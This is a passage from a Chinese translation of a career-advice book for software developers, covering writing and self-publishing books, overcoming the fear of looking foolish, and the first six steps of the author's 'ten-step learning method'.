，可以以非常具有针对性的、聚焦的方式传达你的信息。当人们坐下来读你写的书的时候，你会长期被他们关注。读完一本书通常需要10～15小时。你很难再找到别的媒介，能让人投入这么长的时间去倾听你的信息。通过一本书，你能将自己想要表达的信息完整无误地呈现给你的读者。\n书籍和杂志都不赚钱\n许多软件开发人员误解了写书的原因。他们想当然地认为大多数图书和杂志作者能够通过写作赚大钱。但是，事实很简单，你不会为了赚钱而去写书。写书是为了提高自己的声誉。\n通过一本书可以获得一笔可观的收入是非常罕见的，而且通常作者只能获得收益的一小部分。大多数杂志只会为每篇文章支付少量的酬劳，而撰写和编辑这篇文章本身可能需要很长的时间。所以，不要指望可以直接通过写书或发表杂志文章致富，除非你碰巧非常非常幸运，轻松写出一本畅销书。\n但是，没有直接收益并不意味着出书没有回报。正如我之前提到的，写书或在杂志发表文章的真正好处在于，通过出版，你能获得更广泛的知名度和声望。出版业类似于守门员，为内容的质量把关。如果你能突破守门员进球，你会发现这些已经出版的内容间接地带来了各种各样其他的赚钱机会。\n那些出版过专著的作者会发现自己更容易获邀在各种会议发表演讲，能够建立自己在某一学科的权威地位，这些都能为你带来更多的客户和更好的工作机会。\n获得出版机会\n我不得不承认，这本书是我的第一本以传统方式出版的书籍。经过与其他许多作者的交流，我了解到出版书籍并非易事，尤其是出版你的第一本书。许多出版商并不愿意冒风险与完全不熟知的作者合作，作者无法如期交稿的风险很大，毕竟写书不是件轻轻松松的事。\n要想让自己有机会出书，最好的办法就是明确一个有市场需求的主题，同时也能够充分展示你作为该领域专家的学识。如果你已经为自己的品牌确定了细分市场，由于你已经拥有了自己的专业领域，并且没有太多竞争，你更容易做成这件事。你的主题越聚焦、越专注，越容易证明你的专业能力，但同时你的潜在受众群体也会越小，所以你需要找到适当的平衡点以吸引出版商。\n你也应该提前做功课从而让自己在市场上立足。我建议你开设博客，给一些较小的杂志投稿。随着你在自己的专业领域树立起自己的声望，你可以积累更大的出版物。出版社和杂志社都愿意和拥有众多粉丝的作者合作，因为这意味着他们的名气就是发行量的保证。你的粉丝有多多，你对出版商的吸引力就有多大。\n最后，你应当准备一份翔实的写作提纲（文章摘要），清晰地概括自己的写作目的，明确本书的目标读者，以及你为何认为这本书会成功，为何你是写作这本书的最佳人选。你的提纲写得越好，它被出版商接受的可能性就越大。\n地雷：可是我并不擅长写作\n我也不行，可我还是写作了本书。我在学校学习的那段岁月里，最差的科目一直都是英文。我的数学、科学甚至是历史都名列前茅，但是我的英文就是勉强中等。我从来没有想过到，自己职业生涯的大部分时间居然是在写作，就像我现在做的这样。\n发生了什么呢？嗯，我也就是每天坚持写作而已。开始的时候主要就是写些博客文章。我最初的博客文章写得极差，但最终我越写越好。虽然我仍然没有成为海明威那样的大作家，但是我现在可以用自己写下的文字有效地传达我的想法和意见，至少大部分时候如此。\n我的观点是：别担心自己不擅长写作。现在写作能力不行，这并不打紧。要紧的是，你现在就开始写并坚持下去，随着时间的推移你的写作技能终将会得到提高。\n自出版\n传统的出版方式并不是你的唯一选择。越来越多的作者发现可以通过自出版获得成功，尤其是自己已经拥有粉丝群体的作者。我自己自出版了好几本书，完全能靠自己销售得很好。尽管我没有大型出版商的资源和发行渠道，但我也没有他们的各种开销。我能够将写书赚到的收益几乎全数收入囊中。\n自出版是非常棒的起步方式，你完全可以凭一已之力完成，很容易做到。如果你打算写一本书，但是还没有找到合适的出版商（当然既没有签订合同，也没有确定书稿的最后交稿日期），自出版也是一个好办法，能让你确定写什么专题更合适。\n有很多种服务能够帮你出版自己的书，其中在程序员中广为流行的一个是Leanpub（http://simpleprogrammer.com/ss-leanpub）。这项服务让你能使用Markdown这一简单的格式化语言进行写作，Leanpub将书籍做好格式转换后上架销售，并收取相关费用。他们收取的费用仅占书的总价的很小一部分。\n你也可以通过亚马逊的Kindle Direct Publishing（Kindle直接出版）计划将自己的书直接在亚马逊上出售，或者使用Smashwords（http://simpleprogrammer.com/ss- smashwords）、BookBaby（http://simpleprogrammer.com/ss-bookbaby）这样的服务来将自己的书发行到多个市场。这些服务甚至可以帮你将你的书转换为电子书格式。\n我的两位好朋友都是自出版书籍的作者，他们每年都能从图书销售中获得10 000～20 000美元的收入。这算是一笔不错的额外收入，也是让你声名鹊起、提升声望的绝妙方法。当然，对于后者，传统出版方式的分量更重。\n采取行动\n查看亚马逊上与软件开发相关的畅销书列表，找出哪种类型的书销量最好。\n在你写长篇大作之前，先从杂志文章这样的短篇着手。找出一些发行量不高的软件开发类杂志，提交一篇文章摘要。\n第26章 百折不挠，越挫越勇\n如果你真的想在自我营销方面获得成功，你就一定要学着克服我们大多数人都会有的一种恐惧——看起来像个傻瓜。\n登上讲台在众人面前侃侃而谈，并非易事。写博客被整个互联网看到并品评，也并非易事。在播客里听到自己的声音，在视频里看到自己，可能会让你感到难为情。从某种程度上说，就连写书也需要一定的勇气——特别是如果你想把自己已知的一切都放进书里的时候。\n但是，如果想通过自己的努力获得成功，你就必须学会不在乎别人怎么想。你必须学会如何无惧自己被别人看作傻瓜。\n万事开头难\n当我第一次站上讲台面对众人演讲的时候，我紧张得汗流浃背。我试图让自己的声音保持平稳，但是我的声音却一直在颤抖。我本想点一张幻灯片，可我的手不听使唤滑过了两张。你们知道后来怎么样吗？我挺了过来。我可能没有做到最好。虽然我没能用我的魅力打动观众，但是我总算是把这段时间撑过去了，演讲最终结束了。\n第二次登台，我仍然是一塌糊涂，但是我不那么紧张了。我的手不再抖得那么厉害，我的衬衫也没有被汗水浸透。接下来的每一次都更轻松。现在当我站上讲台上时，我会手拿麦克风，在整个房间里从容信步；我的激情感染了整个大厅，我自己也是活力四射。在前几次演讲的时候，我从来没想过自己能做到这样。\n事实上，万物都在变化之中。随着时间流逝，原本让你不适的东西你最终都会应对自如。你需要足够的时间和意愿去克服尴尬，直到它们不再让你感到局促不安。\n在第一次做某件让自己不自在的事情的时候，你可能无法想象终有一天自己竟然觉得做起这些事儿来如此怡然自得。你会误导自己去认为“这不适合我”或者“别人在这个领域有天赋，而我没有”。你必须学会克服这种想法，认识到大多数人在第一次面对挑战时都需要克服这样的不适感，尤其是他们面对一群人的时候。\n我跟你说实话吧，大多数人并没有这么做到这一天。他们早早地选择了放弃。他们太在意别人怎么看自己，没有拼尽全力去克服这些困难，克服掉那些不适感，让自己变得更加优秀。如果遵循本书的建议，你会在别人失败的地方获得成功，原因就在于此。许多开发人员并不愿意做你愿意做的事情。大多数开发人员并不愿意为了收获更多成就而在短期内被看作傻瓜。\n被看作傻瓜又如何\n或许你现在已经相信我说的，随着时间流逝，一切都会更容易。如果你忍住坚持下去，如果你坚持写博客，如果你坚持上台演讲或者制作YouTube视频，最终你不会再感到“这不舒服”，甚至会觉得“这很自然”。可是，当你的手还不受控制地颤抖，几乎无法握住麦克风的时候，你该如何做到这一点呢？\n很简单，别太在意。别在意自己站在大庭广众之下可能会哑口无言，别在意别人看了你的博客后觉得你完全错了并且很蠢，别在意别人会嘲笑你，因为你已经准备好和他们一起嘲笑自己。同样地，我知道这事说起来很容易，但是我们还是要剖析一下。\n首先，如果你看起来像个傻瓜，那最糟糕的情形会是什么？你不会因为让自己出丑而受到身体上的伤害。无论你在讲台上演讲得多糟糕，也没有人真的在乎。诚然，站在讲台上抖抖索索、汗如雨下可能会让你看起来很可笑，而当这一切都结束的时候，没人会记住这些。\n想想看，上一次你看到别人在拳击台上被击倒是什么时候？你还记得他是谁吗？当他下台时你有起哄吗？你有给他发邮件或者打电话让他知道他表现得太糟糕，浪费了你宝贵的时间吗？当然没有，那你还有什么可担心的？\n如果你想成功，你必须要学会收起自己脆弱的自尊心，勇敢走出去，别害怕让自己出丑。每一位著名的演员、音乐家、专业运动员和公共演说家都曾有过表现不佳的时候，他们自觉地选择了走出困境，尽力而为。成功终将会来。你不可能专注做某件事而毫无长进，你只要坚持足够长的时间就会有收获。你的生存之道就是不必太在意。别害怕被人看作傻瓜。\n在我的职业生涯中，我一共错失了9 000多次投篮，输掉了近300场比赛。我本来有26次绝杀的机会却投球不进。我失败了一次又一次。这就是我能够成功的原因。\n——迈克尔·乔丹\n小步快跑\n如果照我的想法，我会带你到游泳池边上，然后一脚把你踹进深水区，因为据我所知，这是学习游泳最快的方式。但我知道，并不是每个人都接受这种“要么大获成功要么一败涂地”的激进方式，你可能更想采用小幅前进的方式稳扎稳打。\n如果你对演讲、写作或者其他我在本篇前几章讲过的营销方式心怀畏惧的话，那么仔细想想你能做到的、不会让你紧张的、最简单的事情，并以此起步。\n开始阶段，一种很好的方式是在别人的博客下面写评论。我发现，即便是这样的任务也会吓倒一些开发人员。但是，写评论确实是一种很好的起步方式，不需要你长篇大论，而且你可以加入到对话中而不需要重新开启话题。\n准备好面对批评，但不要惧怕。总会有人不喜欢你的言论，或者不赞同你的观点。那又怎样？在互联网的世界里每个人都有权发表自己的观点，所以不要让这些打击到你。习惯些许辱骂是件好事，因为即使再完美的作品也会遭人抨击。你永远不可能取悦每一个人。\n一旦你觉得自己变勇敢了那么一点点，那就开始写自己的博客吧。围绕自己熟知的话题写，或者干脆写“怎么做”。不要写已有定论的话题，因为这会引来互联网“巨魔”的攻击，他们会爬出洞穴，用言语的大棒将你打倒。你会发现写博客并不是那么糟，有人可能真的喜欢你写的东西呢！（不要被这冲昏了头脑呦。）\n现在你可以进一步拓展。你可以给别人的博客撰写客座文章，也可以接受播客访谈。你甚至有可能加入Toastmasters这样的俱乐部来习惯公共演讲。许多从来没想过自己能够在众人面前演讲的朋友通过Toastmasters成为了优秀的演说家。\n无论是像缓慢适应水温那样小心翼翼，还是一头就扎进深水区，这些都无关紧要。核心在于一直保持前进状态。你会感觉不适，你可能会受惊吓甚至被吓倒，但是这一切终将会过去。如果你愿意坚持下去，面对前方的种种挑战，如果你不介意短期内被看作傻瓜，你就会在大多数人失败的地方获得成功。我保证这一切的付出都是值得的。\n采取行动\n让自己勇敢起来。今天就是你的大日子。走出去做一些令你害怕的事情，大小都不要紧，迫使自己处于不自在的环境，并且提醒自己：“这没什么大不了的。”\n现在，重复上一步，至少每周一次。\n第三篇 学习\n教育就是当一个人把在学校所学全部忘光之后剩下的东西。\n——阿尔伯特•爱因斯坦\n软件开发的世界是不断变化的。每一天都会有一门新的技术出现，昨天你学到的东西今天可能就毫无意义了。\n在这个飞速变化的世界里，学习的能力是至关重要的。软件开发人员如果选择固步自封，忽视自己的技能发展，那么他们很快就会落在后面，错失未来，只能被派去维护过去的遗留系统。如果想摆脱这种宿命，你就需要学会如何学习。\n在这一篇中，我的目标就是教你如何自学。我将带你了解我开发的快速掌握新技术的“十步学习法”。我使用这一方法在一年时间内开发了超过30个适合开发人员的长期培训课程。我还会给你一些靠谱的建议，帮你寻找导师，指导别人，以及如何释放自己的内在潜力像海绵一样地吸收知识。\n第27章 学习怎样学习：如何自我教育\n走进学校，接受良好教育，没有任何问题。但是如果你毕业后就停滞不前不再学习，那么你将在生活中处于非常不利的境地。事实上，如果你一直依赖他人来教你，从来没有掌握自我教育技能，这会严重限制你提升自己的知识和技能的机会。\n软件开发人员可以学到的最重要的一项技能就是自我教育能力。在这个新技术发展日新月异的世界里，就连初级职位的Web开发人员都需要掌握至少三种编程语言，所以自我教育是一项必不可少的技能。\n如果想成为最好的软件开发人员，你就必须学会如何自学。很不幸，学校并不会教你自我教育这项技能。你可以轻松反驳说教育体系的设计初衷是针对群体而非个人。无论如何，学会学习是自我教育的核心技能。\n剖析学习过程\n你是否思考过自己是如何学习的？学习的真正含义是什么？我们几乎都是下意识地倾向于学习自己感兴趣的东西。当别人给我讲一个精彩纷呈的故事时，我们通常不会做笔记，也不会记住确切情节；然而我们中大多数人在听到故事后，不费吹灰之力就能将它复述出来。\n这也同样适用于我们做的事情。如果我告诉你该怎么做，你可能会忘掉，但如果你自己动手做一次，你可能就记住了。如果你能将自己所学的东西教给别人，你不仅能记住，还能理解得更深刻。尽管每个人的学习风格千差万别（更多信息参见http://simpleprogrammer.com/ss-learning-myth），但是通过动手实践和教会他人，我们能学得更好。与其他学习方式相比，主动学习是效率更高的方式。\n教育的首要目标，并不在于“知”而在于“行”。\n——赫伯特·斯宾塞\n可以换个角度思考一下这个问题：你可能看遍了教你如何正确骑车的书，也可能看过别人骑自行车的视频，我也可以给你培训正确骑车的机械原理，但是，如果你从来没有骑过自行车，那么当你第一次骑的时候你一定会摔倒。你可能对自行车无所不知，熟悉骑车的机械原理，知道哪种自行车最好，但是直到你将自己所学的东西用于实践，你才算真正学会了骑自行车。\n同理，许多软件开发人员拿起一本关于编程语言或框架的技术书，从头到尾地读上一遍，就想奢望他们能够吸收其中的所有信息吗？最好的情况可能是借助这种方法，你能快速积累该主题的全部信息，但你仍然没有真正学会它。\n自我教育\n如果你想学习一些东西，你应该做什么？好了，刚才我们讲过了，最好的方法就是付诸于实践，如果你也能承担将自己所学的内容教给别人的任务，那么你会理解得更深刻。所以，你在自我教育方面的努力，应该聚焦在如何让自己切实参与，并且尽早付诸实践。\n我觉得学习知识的最好方式就是立即将其用于实践，即使你还不知道自己在做什么。如果关于某个主题你能够获得足够的知识能够操作，你就可以发挥自己心灵深处强大的创造力和好奇心。当我们能够在一件事情上尽情发挥的时候，我们的内心就更倾向于吸收更多的信息，思考更有意义的问题。\n这似乎有些奇怪，但事实的确如此。玩耍是一项强大的学习机制，这一点我们在整个动物王国都看得到。动物的幼崽总是贪玩，通过玩耍，它们学会了许多赖以生存的重要技能。你看过小猫学捉老鼠的过程吗？人类也是通过玩耍、主动操作来学习的，即使在对我们所做的一无所知的时候。\n再举一个例子。在我小的时候，我经常玩一种名叫“万智牌”的集换式卡牌对战。我被它深深吸引，乐此不疲。在游戏中，为了击败对手，你需要综合自己的智慧、运气和创造力，这让我非常着迷。\n就凭这一点，我记住了游戏中出现的成千上万张卡牌。你随便抽一张牌，我都可以告诉你这张牌有什么属性、派什么用场。（就算到现在，我依然可以说出大多数牌的信息。）你以为我是在那里正襟危坐，努力背下这成千上万张牌吗？不，我不需要那么做。我只是玩，并且乐在其中。这种自然的探索和好奇心帮助我轻而易举地记住了那么多的信息。\n通过发挥这样的能力，玩成为一个你可以大加利用的强大武器。它不仅能激励你，还能大大加快你的学习步伐。在你阅读某个主题的书之前，大致浏览后就开始实践。不用担心自己是否知道自己在做什么。乐在其中，你就会发现随着自己的实验和探索，自己在哪些方面发现了问题。\n一旦你已经实践过，并积累了各式各样的问题，立刻回到书本当中。当你回去重读这些参考资料的时候，你有强烈的冲动去消化吸收其中的内容。因为你已经积攒了很多想要找到答案的问题，你对哪些内容更重要早已了然于胸。\n然后，你可以把自己学到的新知识重新应用于实践。看看你学到的新方法是否能解决你已有的问题。你可以继续探索新领域，发现需要解决的新问题。以解决实践过程中发现的问题为目标，在向着知识前进的道路上重复这个循环，周而复始。通过这种方式获得的信息对你才是有意义的——“纸上得来终觉浅”啊。\n最后，你可以将自己所学的打包教给别人。这一点是画龙点睛之笔，你应该随时准备与有兴趣倾听的人分享你新学到的知识，你会为自己的发现激动不已——玩儿的力量就是这么巨大。教导他人也很容易，它可以简单到你与配偶之间就自己学到的新东西进行的一次对话，也可以是写一篇博客文章。关键在于，你要用自己的语言将这些信息组织起来，把你的思想表述给别人。\n这就是我发明的“十步学习法”背后的逻辑。在接下来的几章中我将就此展开详细的介绍。我增加了一些正式步骤，也引入了预备步骤来帮你在开始之前就让学习系统化。不过本方法的关键指导原则是通过玩儿、探索以及将自己所学教给他人来学习。这一简便易行的方法更符合我们的天性——在某种程度上，抛弃了“填鸭式教学”的自主学习才是最简单和最纯粹的学习方式。\n采取行动\n你最近一次自学了什么？你的学习过程是怎样的？\n你上一次对兴趣爱好感到激动是在什么时候？你对此兴趣爱好了解多少？你是经过刻苦学习才培养此兴趣的，还是通过玩耍自然而然地就学会了？\n第28章 我的“十步学习法”\n多年以来，我都承受着巨大的压力：快速学习新技术、新编程语言、新框架和其他能力。通常，这种压力是我自己造成的，我总是投入新事物，结果力不从心。但是，即便不考虑压力来源，这也迫使我开发出一个可重复使用的自学体系。\n在接下来的几章里，我会带你了解我自创的进行快速学习的“十步学习法”。让我们先从了解这个体系的确切含义及其工作原理开始。\n体系背后的逻辑\n在我职业生涯的早年间，我学习知识的主要途径就是“从封面到封底”仔细阅读专著。只有通读全书后我才会将自己学到的知识应用于实践。使用这个方法，我发现，我确实能学到东西，但是效率很低，我还得经常回顾书的内容，来弥补自己在该学科方面存在的知识短板。\n当我拥有足够的时间，且没有一个真实具体的目标的时候，这种学习方法很好。我最终学会了我想要学习的东西，而且从头到尾地读书学东西也并不难，只是要花时间。随着我开始有更紧迫的理由需要快速学习，我发现自己原来的方法就无法奏效了。通常，我并没有时间通读全书，而且我也发现书本里的很多内容更适合作为参考资料，而不适合实际学习。\n于是，我迫使自己去寻找更好的自学方法，能在有限的时间内掌握所需内容。有些时候，我只有一周甚至更少的时间去吸收足够的信息以教给别人。我发现在这种情况下，我很自然地会先明确需要掌握哪些内容，再去寻找我能获得这些信息的最佳资源，同时也会忽略那些并非达成目标所必需的其他信息。\n我发现，为了能够掌握一门技术，我需要了解以下三个要点。\n1．如何开始——要想开始使用自己所学的，我需要掌握哪些基本知识？\n2．学科范围——我现在学的东西有多宏大？我应该怎么做？在开始阶段，我不需要了解每个细节，但是如果我能对该学科的轮廓有大致的了解，那么将来我就能发现更多细节。\n3．基础知识——不止在开始阶段，要想使用一项特定的技术，我需要了解基本的用户案例和最常见的问题，也需要知道自己学的哪20%就能满足80%的日常应用。\n熟知了这三个关键点后，我可以高效地学习一门技术，无需通晓全部细节。我发现，如果我了解三项主题——如何开始，我能做什么，以及相关基础知识，那么我就能随着学习深入学会所需的其他知识。如果我想提前掌握所有知识，那只是在浪费时间，因为真正重要的内容会湮没在那些细枝末节中。这种新方法能让我关注重点。当我确实需要了解更多细节时，我可以利用参考资料来弥补这些不足。有多少次你从头到尾仔细阅读一本技术书籍，却发现自己实际用到的也只是书里介绍的技术的一小部分？\n使用这种方法，我在很短的时间内学会了Go语言——仅仅几个星期而已。我专注于学习如何尽快用Go语言写代码。很快我就对这门编程语言以及它有哪些可用的库有了一个大致的了解。我希望对这门语言能做什么能有一个整体的了解。最后，我完成并掌握了基础知识。当我需要深入了解时，我只需要在这些基础知识的基础上进行扩展。\n十步学习法体系\n事实证明，掌握这三大要点可不像看上去那么轻松。学会“如何开始学习一门技术”可以说是一项挑战，而且往往很难找出那些所谓的“篇幅只占20%、然而有效性却达到80%”的内容。另外，我经常发现，要总结出一门技术的应用广泛程度的简短描述，是很难的。通常你需要阅读一整本甚至几本不同的书籍之后才能获得此信息。\n为了解决这些问题，我又提前做功课，确保自己能够找出自己所需的信息，并以最合理的方式将它们组织起来，实施落地。\n“十步学习法”的基本思想就是：要对自己要学的内容有个基本的了解——了解自己不知道什么就足矣。然后，利用这些信息勾勒出学习的范围，即需要学哪些内容，以及学成之后又会获得什么。依靠这些知识，你可以找出各种资源（不局限于书）来帮助自己学习。最后，你可以创建自己的学习计划，列出要去学习哪些相关课程，筛选学习材料，只保留能帮助自己达成目标的优质内容。\n一旦完成这些工作，你对自己要学什么和怎样学都了然于胸，你就可以把控自己的学习计划中的每个关键点，通过“学习—实践—掌握—教授”（Learning, Doing, Learning and Teaching，LDLT）的过程，获得对该学科的深刻理解，同时你也向着自己的目标前进。\n“十步学习法”的第一部分是研究，它是一次性完成的。但是从第7步到第10步则是重复的过程，贯穿于你的学习计划的各个模块。这个方法非常奏效，因为它迫使你提前明确自己的学习目标，也持续不断的激励你通过实践（而不仅仅是读书或听讲座）向着目标前进。\n“十步学习法”体系\n借助此方法，我得以在几天之内就全面掌握了一门编程语言。成千上万注册了我的“十步学习法”视频课程（http://simpleprogrammer.com/ss-10steps）的其他软件开发人员也取得了类似的成果。\n这是快速学习的唯一途径吗？这是一种魔法系统吗？不，不是的。它只是通过“聚焦学习范围，让你关注重点内容”来学习的一种快速学习方法，它迫使你通过“自我探索”和“主动教学”的方式将真正重要的内容印刻在自己的大脑中。接下来的几章，我们将介绍该方法的实际操作步骤。你可以根据自己的情况对该方法进行裁剪，去掉你不喜欢或者认为无效的部分，保留对你有用的部分。最终，你一定会找到适合自己的自学方法，而你的未来将仰仗于它。\n采取行动\n挑选一项你已经烂熟于胸的技术，看看你能否明确以下几点。\n如何开始用它？\n该技术的应用广度如何？\n利用你需要知道的20%发挥出80%功效。\n第29章 第 1 步到第 6 步：这些步骤只做一次\n对于“十步学习法”的前六个步骤，你需要集中精力完成足够多的前期调研，确保自己明确知道要学哪些内容，以及如何确认自己已达成目标。你还将学到如何挑选最好的资源来帮自己实现目标、制订学习计划。\n这六个步骤只需要针对你想学的每个主题做一次。第7步到第10步则要针对在第5步所制订的学习计划中的每个模块循环往复。尽管第1步到第6步只需做一次，但是它们却是最重要的步骤，因为它们将对你未来的成败起决定性作用。在这六个步骤中，你要为自己实际的学习主题做好一切准备工作。“不积跬步无以至千里”，基础打得越牢固，目标越容易实现。\n第1步到第6步只做一次\n第1步：了解全局\n学习始终是一项棘手的任务，因为在开始学习某些东西的时候，你对自己到底要学什么理解得并不透彻。美国前国防部长唐纳德·拉姆斯菲尔德曾说过“未知之未知”（unknown unknowns），即你根本不知道自己不知道。\n大多数开发人员在打开一本新书开始阅读的时候，他们对自己所不知的一无所知。他们将“未知之未知”留到后面去发现。这一方法的问题在于，你要么学非所需，要么力所不及。在深入探究某个主题之前至少要对其有所了解，这一点非常重要。这样你才能弄清自己到底要学什么，找出最好的学习方式。\n在这一步，你要做的就是了解自己将要学习的主题的全局。这个主题宏观上什么样？你能从中学到足够丰富的知识以了解自己所不知道的吗？以及自己所不知道的有多少？\n假设你想学习数码摄影。你可能会先在网上搜索与这个主题相关的内容，浏览与数码摄影有关的博客和文章。短短几小时之内你就能对这个主题的全局及现有的子课题有一个清晰的认识。\n要完成这一步，你需要对自己想要学的课题做一些基础性研究。通常你可以使用网络搜索来完成大部分研究。如果你碰巧有一本关于该主题的书，那么你就可以只读一下其中的介绍性章节，粗略浏览一下内容，但是不要在这一步上花费太多时间。记住，我们在这一步的目的不是要掌握该主题，只是对这一主题的相关内容有一个全局性的了解。\n第2步：确定范围\n现在，你至少对自己的学习主题及其全局有了一个大致的了解。下一步就是集中精力去明确自己到底要学什么。在任何项目中，明确项目的范围都是至关重要的，唯有这样才能了解项目的全局，做好相应的准备工作。与此相比，学习并没有什么不同。\n让我们继续你要学数码摄影这一例子。此时，你想要理解的是“这一主题到底有多大”，以及“如何将其分解为更小的范围”。在一定的时间内，你不可能掌握关于数码摄影的一切知识，所以你需要决定学习的重点和学习的范围。如果你想了解如何拍摄人像照片，那这就是你的学习范围。\n在学习过程中，大家很容易犯的一个错误就是试图解决太大的问题而把自己搞得不堪重负。例如，试图全面掌握物理学是不切实际的，因为这一主题太过庞大，也不够聚焦。你不可能在有限的时间里学会与物理学有关的一切——穷尽一生也不可能。因此，你要明确自己的学习范围。为此，你需要运用自己在上一步中获得的信息，让自己的关注点落脚到更小也更可控的范围。\n让我们看看表29-1，看如何将庞大的主题分解为小而聚焦的主题。\n表29-1 将一个大的主题分解成可控的子主题\n初始的主题\n可以分解为子主题\n学习C#\n学习C#语言的基础知识，掌握如何创建一个简单的控制台程序\n学习摄影\n掌握针对人像拍摄的数码摄影知识\n学习Linux\n了解如何设置和安装Ubuntu Linux，以及如何使用它的基本特性\n请注意，在上面的例子中，是如何将类似“学习C#”这样的宏大主题缩小并聚焦到一个特定范围内的。我们从一个几乎无边界的主题中明确了一个清晰且聚焦的范围。你还会注意到，在这一步中，我们还为学习添加了一个理由，从而将其限定在一个范围明确的主题内。例如，你想学摄影，特别是学数码摄影，目的是能够拍摄人像。阐述学习的理由能够帮你明确学习范围，因为人们通常是为一些特殊的理由才去学一些东西的。\n在这一步中，你可以充分利用自己在第1步中收集到的信息，找出自己的学习范围。同时也可以借助自己的学习理由来决定学习的范围。\n在此过程中，你可能会受到诱惑，为了学习该主题下的不同子主题，你可能会扩张你的学习范围而不够聚焦，但是请务必抵制住这个诱惑，尽可能地保持专注。你一次只能学一样东西。你可以稍后再回头学习别的分支领域，但就目前而言，选择一个专注而聚焦的范围，潜心学习吧。\n最后，在这一步中一定要注意：明确学习范围的时候要考虑时间因素。如果你只有一周时间，你需要本着实事求是的态度确定自己能在这段时间内学到什么。如果你有几个月的时间，你也许能攻克一个更大的主题。你的学习范围务必大小适当，既能符合你的学习理由，又能符合你的时间限制。\n第3步：定义目标\n在全力以赴启动之前，明确“成功”的含义极为重要。如果不知道成功是什么样子，很难找准目标，也很难知道自己什么时候已经真正达到目标。在尝试学习任何东西之前，你都应该在自己脑海中清晰地描绘出成功的样子。当你知道自己的目标是什么的时候，你就可以更轻松地使用倒推的方式，明确实现目标所需的步骤。\n现在，我们依然使用刚才那个学习数码摄影的例子。你可能已经明确成功的标准包括掌握数码相机的所有功能，能够清晰地描述这些功能是什么，并且了解何时以及为什么使用每一项功能。\n这一步的目标是形成一份简明清晰的陈述，勾勒出你勤奋学习后的成功图景。根据不同的学习内容，这份陈述也各不相同。但是要确保其中包含具体的成功标准，从而能让你用来充分评估自己是否已经达成学习目标。\n好的成功标准应该是具体的、无二义性的。不要对自己想要完成的任务进行含糊不清的描述。相反，要列出某一特定的结果，或者一旦实现自己所能达到的目标你应该能够做到的事情。表29-2展示了一些示例。\n表29-2 “好的”和“不好的”成功标准\n不好的成功标准\n好的成功标准\n我可以用我的数码相机拍出好照片\n我可以使用我的数码相机里的所有功能，能够清晰地描述这些功能是什么，并且知道何时何地使用各功能\n我学习了关于C#语言的基础知识\n我可以利用C#语言的主要功能写出一个小的应用程序\n我知道如何使用HTML去构建一个网页\n我可以使用HTML5在网上为我自己创建一个主页，展示我的简历和我的代表性工作\n你想从自己的学习经历中获得什么决定了你的成功标准是什么。请确保你能借此在学习结束后评估自己是否达成了目标。好的成功标准也能让你向着既定目标不断前进。\n第4步：寻找资源\n还记得学生时代会针对某个特定主题写报告吗？如果你写好了报告却只有一条参考文献，譬如你所有的信息都来自一本书，结果会怎样？你可能会拿到一个大大的“鸭蛋”。为什么现在很多人学东西的时候却与那时如出一辙？关于一个主题我们只读一本书，或者所有的研究只使用一个资源。\n继续以数码摄影为例。你可能会从阅读相机的用户手册开始，但是不会就此止步。你可能还会查找各种专业的数码摄影的网站，甚至是自己所用的相机的网站。你也可能会在亚马逊网站上搜索数码摄影的相关图书，最后可能找到能寻求建议的专家。\n[class=\"sigil_index_marker\"] { color:#335500; }要尝试收集到多种多样的资源以帮助你学习，而不是只读一本关于这一主题的书。资源可以是多种多样的，不局限于书籍。事实上，如今，随着互联网的广泛应用，各种类型的内容随处可见，你几乎可以针对自己感兴趣的任何主题，找到大量的资源。\n在这一步中，你会想找到尽可能多的与自己所选主题相关的资源。此时你无需考虑这些资源的质量。这一步与头脑风暴类似。稍后你会对你找到的这些资源进行过滤，去伪存真，但是目前还是想先获得尽可能多的不同类型的资源。\n要做到这一点，最好的方法就是迅速打开电脑，开始搜索与自己的主题相关的信息。我通常会从亚马逊开始，看看能从中找到多少相关图书；然后我会用Google搜索，看看能不能找到视频、博客文章、播客和其他有用的内容。你甚至可以像“老派人”那样去拜访图书馆。重点就是你要找到各种不同的资源。你不想因为单一来源的信息而产生偏见，更愿意尽可能获取各种各样的信息。\n信息来源\n图书\n博客文章\n在线视频\n专家，或者对你所想要学习的内容已经熟知的人\n播客\n源代码\n示例项目\n在线文档\n第5步：创建学习计划\n你有没有注意过，大多数书籍都被分解成若干章，各章在内容上又层层推进？好的技术书都遵循这样的规律：打好基础，做好铺垫，然后逐个展开每一章的论述。\n现在你已经掌握了一些资源，你可以借助这些资源对自己要学什么、以什么顺序进行有了想法。现在你应该对数码摄影到底要学什么有了很好的认识。你需要通览已有的数码摄影的相关资料，找到一种方法将这个主题分解成更小的部分。\n对于大多数学科而言，学习是一个自然的过程。从A开始，前进到B，最后到达Z。这个顺序对你掌握随机的碎片化知识价值不大。你需要找出在最短的时间内从A到Z的正确路径，并且到达沿途的重要地标。\n为学习找到正确的路径\n在这一步，你需要创建自己的学习路径。把它看作自己写书时候的大纲。事实上，当你大功告成的时候，你会发现自己的学习路径可能与一本书的目录非常相似。你基本上就是完成一系列的模块，直到最后达成目标。\n打造自己的学习计划，一个好方法就是观察别人是如何教你感兴趣的主题的。就我自己而言，在这一步我通常会翻看自己在第4步中找来的图书的目录。如果五位不同的作者都把内容都分解为相同的模块和顺序，那我就会遵循这样的方法制订自己的学习计划。\n这并不意味着你只要复制一本书的目录就可以称其为自己的学习计划了。有的书的内容超出你的需求，有的书的结构很差劲儿。通览你收集到的全部资源，你就对自己需要哪些内容以及如何组合这些内容有更清晰的认识。\n第6步：筛选资源\n现在，你知道自己要学什么以及以什么顺序学，那么是时候决定要使用哪些资源来完成自己的学习任务了。回到第4步，你收集了与研究主题相关的所有资源。在第5步中你使用这些资源制订了自己的个人学习计划。现在是时候对这些资源进行筛选，挑选最有价值的几项来帮你实现自己的目标。\n这时的你已经有了大把关于数码摄影的书籍、博客文章和其他资源等，不一而足。但是，问题是你该如何利用这些资源。很多数据都是冗余，并非所有资源都适合你的学习计划。\n为了研究一个主题要读10本书、50篇博客文章，并不现实，并且即使你真的这么做了，其中也有很大一部分是重复的。因此很有必要对现有资源进行筛选，从中选出最能帮助你实现自己的目标的资源。\n这样想一想：在第6步中，你就是一位篮球教练，你需要精简队伍。当然，你想让所有人都去打比赛，但这显然是不可能的。你不得不将队员人数减少到自己可以管理的规模。\n在这一步中，把你在第4步中收集的全部资源浏览一遍，找出哪些内容能够覆盖你的学习计划。你还应当看看评论，试着找出品质最高的资源。我在购书时，通常会浏览亚马逊上的评论，找出我认为最物超所值的一两本书。\n一旦完成了这一步，你就可以准备前进到学习计划中的第一个模块。在你实现自己的目标之前，你还需要为每个模块重复第7步到第10